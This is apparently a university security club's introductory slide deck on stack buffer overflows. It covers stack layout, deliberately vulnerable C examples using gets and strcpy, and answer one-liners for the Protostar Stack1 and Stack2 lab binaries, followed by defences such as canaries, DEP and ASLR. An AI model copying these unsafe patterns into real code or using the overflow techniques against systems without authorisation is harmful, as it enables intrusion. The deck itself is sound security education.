UOSEC Introduction to Stack Exploits Presenters o Adam [email protected] • IRC nick: xe0 o Frank [email protected] • IRC nick: kee o irc.freenode.net #0x4f Agenda • • • • • GITS results CTF practice this week (helpful tools) Sat 10am-2pm After meeting movie night Blackhat Cinemark 17 7:30pm Next big CTF BKP (Boston Key Party) March 7th All Oregon CTF Virtual Address Space Kernel Space Stack Heap Address 0x0c000000 Address 0x04000000 Address 0x00400000 BSS Segment Address 0x00040000 Data Segment Address 0x00008000 Text Segment Address 0x00004000 Address 0x00000000 Virtual Address Cont. Kernel Space Stack Malloced memory area Address 0x0c000000 Address 0x04000000 Address 0x00400000 Uninitialized static vars Address 0x00040000 Global and initialized Static variables Address 0x00008000 ROM of object file executable instructions Address 0x00004000 Address 0x00000000 Virtual Address Cont. • Virtual address space is designed so that each program believes it has access to 100% of the memory of the system • The stack grows down towards lower memory addresses • The heap grows up towards higher memory addresses Stack Review Bottom of stack Address 0x04cfffff Return address Saved frame pointer Stack grows down Stack variables Function call arguments Return address Saved frame pointer Stack variables Function call arguments . . . . Top of stack Address 0x04cf0000 Stack Example Bottom of stack void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } Lets copy some data in buffer2 Return address Saved frame pointer 3 2 1 Return address Saved frame pointer buffer1 buffer2 . . . . Top of stack Stack Example Cont. Bottom of stack void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; strcpy(buffer2, “AAAAAAAAA”); } void main() { function(1,2,3); } 9 A’s are copied into buffer2 Anyone spot anything interesting? More on this in a little bit… Return address Saved frame pointer 3 2 1 Return address Saved frame pointer buffer1 AAAAAAAAA . . . . Top of stack Stack Review Summary • The stack grows downward and memory writes go up • The basic stack structure and how it pushes and pops memory off so that each function can maintain its scope • Like most ideas in computer science, security was not a focus during its inception Buffer Overflow • Simplest type of memory corruption exploit • Still exploitable in many systems today • Modern OS and compilers now have built in defenses to buffer overflow Buffer Overflow Example void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } Bottom of stack Return address Saved frame pointer 3 2 1 Return address Saved frame pointer buffer1 Lets return to our original example buffer2 . . . . Top of stack Buffer Overflow Ex. Ct. void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; strcpy(buffer2, “AAAAAAAAA”); } void main() { function(1,2,3); } 9 A’s are copied into buffer2 what happens if we copy more than the 10 bytes specified in Buffer2? Bottom of stack Return address Saved frame pointer 3 2 1 Return address Saved frame pointer buffer1 AAAAAAAAA . . . . Top of stack Buffer Overflow Ex. Ct. void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; strcpy(buffer2, “AAAAAAAAAAAAAA”); } void main() { function(1,2,3); } The buffer2 variable overflows into buffer1 why does this happen? Lets keep overflowing. Bottom of stack Return address Saved frame pointer 3 2 1 Return address Saved frame pointer AAAA AAAAAAAAA . . . . Top of stack Buffer Overflow Ex. Ct. void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; strcpy(buffer2, “AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA”); } void main() { function(1,2,3); } Now we have completely overwritten both Buffers, the saved frame pointer, and the return address. What will happen now? Bottom of stack Return address Saved frame pointer 3 2 1 AAAAAAAAAAA AAAAAAAAAAA AAAA AAAAAAAAA . . . . Top of stack Buffer Overflow Ex. Ct. . . . . GDB Demo Example Protostar Stack0 #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } Example Protostar Stack0 Ct. #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } Bottom of stack Return address Saved frame pointer volatile int modified char buffer[64] . . . . . . . . . . . Top of stack Example Protostar Stack0 Ct. #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { gets(buffer) reads in volatile int modified; data into buffer from char buffer[64]; modified = 0; gets(buffer); STDIN what happens if we read in 65 chars? if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } Bottom of stack Return address Saved frame pointer modified = 0 char buffer[64] . . . . . . . . . . . Top of stack Example Protostar Stack0 Ct. #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); We have overflowed the buffer and modified the variable to now contain the value A (0x41) which != 0 if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } Bottom of stack Return address Saved frame pointer modified = A AAAAAA…AA . . . . . . . . . . . Top of stack Exercise Protostar Stack1 https://exploit-exercises.com/protostar/stack1 ssh [email protected] -p 2048 password: user Type cd /opt/protostar/bin <return> Type ./stack1 <arg1> to run the binary Hints on exploit-exercises.com/protostar/stack1 Protostar Stack1 Answer ➜ bin ./stack1 $(python -‐c "print 'A'*64+'\x64\x63\x62\x61'") Protostar Stack1 Answer ➜ bin ./stack1 $(python -‐c "print 'A'*64+'\x64\x63\x62\x61'") ./stack1 $(python –c “some python command”) #this program requires an argv so in order to give #an arg we use var substitution $(command) #and with python the -c flag says “inline” python Protostar Stack1 Answer ➜ bin ./stack1 $(python -‐c "print 'A'*64+'\x64\x63\x62\x61'") ./stack1 $(python –c “some python command”) #this program requires an argv so in order to give #an arg we use var substitution $(command) #and with python the -c flag says “inline” python print ‘A’*64 # prints 64 A’s Protostar Stack1 Answer ➜ bin ./stack1 $(python -‐c "print 'A'*64+'\x64\x63\x62\x61'") ./stack1 $(python –c “some python command”) #this program requires an argv so in order to give #an arg we use var substitution $(command) #and with python the -c flag says “inline” python print ‘A’*64 # prints 64 A’s + ‘\x64\x63\x62\x61’ #\x indicates hexadecimal format Possible Exploit Opportunity • So we actually control eip but what can we really do with this? • If the stack is executable (more on that later) than we more than likely can inject shellcode into the stack (or use code already on the stack) to own the machine leaving the system admin…. Possible Exploit Opportunity Possible Exploit Opportunity • All joking aside, please do not attempt this on a machine you do not have permission to do. There is some serious (and crazy) penalties if you are caught (and you don’t even have to be successful). • Legal ways to practice are to participate in CTFS both current and past, test on your own system or someone you know who has given permission (in writing), and of course getting a job in security field ($$$$$$). Storing Shellcode • As I said earlier one of the things an adversary can sometimes do if a buffer overflow is present is find a place on the stack to store shellcode. • Shellcode is assembly usually represented in hexadecimal that an adversary can use to spawn a shell or other system calls. http://shell-storm.org/shellcode/ • Shellcode can be stored in environmental variables (which are stored on the stack). It can also be stored in other areas of memory such as the heap, GOT (global offset table), PLT (procedure linker table), and more Defense to Buffer Overflow • Stack cookies aka “canary” value • DEP data execution prevention • ASLR Address Space Layout Randomization Defense to Buffer Overflow While you can make exploitation more difficult through: • memory protection schemes • run-time validation • obfuscation and randomization Finding and fixing every vulnerability is not possible! Stack Cookie Bottom of stack • Random cookie or canary value is placed before return address by the compiler • Checks the random cookie value before using function return address • If cookie value has been altered, program halts. Return address Saved frame pointer Cookie char buffer[1024] .. .. .. .. .. .. .. .. .. .. .. Top of stack Data Execution Protection • Enforces that processor does not execute instructions from data memory pages (stack, heap) • Make page permission bits meaningful i.e. enforcing that read bit != execute bit • Can be bypassed using ret2libc, return oriented programming ASLR • PIC (position independent code) moves around code (executable and libraries) and data (stacks, heaps) s.t. memory addresses of stacks, heaps, and code are different every run. • ASLR(address space layout randomization) moves around just stacks, and heaps. • Can be bypassed using brute force if the randomizer isn’t good (aka guess addresses). • Can use another vulnerability to reveal memory address in the target process (heap leak, format string) ASLR Run # 1 Bottom of stack 0xFF Return address 0xEF 0xDF 0xDD Saved frame pointer char buffer[1024] Top of stack Run # 3 Run # 2 0xAA Top of stack 0xFF char buffer[1024] 0xCD Saved frame pointer 0xCC Return address 0xCA Bottom of stack 0xBF Bottom of stack 0xEC Saved frame pointer 0xEA Return address 0xDF char buffer[1024] 0xCE Top of stack 0xCD Protostar Stack2 Exercise https://exploit-exercises.com/protostar/stack2 ssh [email protected] -p 2048 password: user Type cd /opt/protostar/bin <return> Type ./stack2 to run the binary Hint: You can set an environmental variable by export env_var=“This is an environmental variable” Protostar Stack2 Answer ➜ bin export GREENIE="$(python –c "print'A'*64+'\x0a\x0d\x0a\x0d'") Protostar Stack2 Answer ➜ bin export GREENIE="$(python –c "print'A'*64+'\x0a\x0d\x0a\x0d'") ➜ bin export GREENIE=”<code>” # creates environmental var named GREENIE # assigns it value of <code> Protostar Stack2 Answer ➜ bin export GREENIE="$(python –c "print'A'*64+'\x0a\x0d\x0a\x0d'") ➜ bin export GREENIE=”<code>” # creates environmental var named GREENIE # assigns it value of <code> $(python –c "print'A'*64+'\x0a\x0d\x0a\x0d'") # overwrite buffer with address 0x0d0a0d0a Shell demo RTFM “Smashing the Stack for Fun and Profit”, Aleph One 1996 http://insecure.org/stf/smashstack.html Summary • All stack buffer overflows follow the same basic format of over writing memory the program didn’t intend to be overwritten for the purpose of exploitation • Learn how to spot the vulnerability • Learn how to spot the defenses and their workarounds • Practice practice practice
© Copyright 2024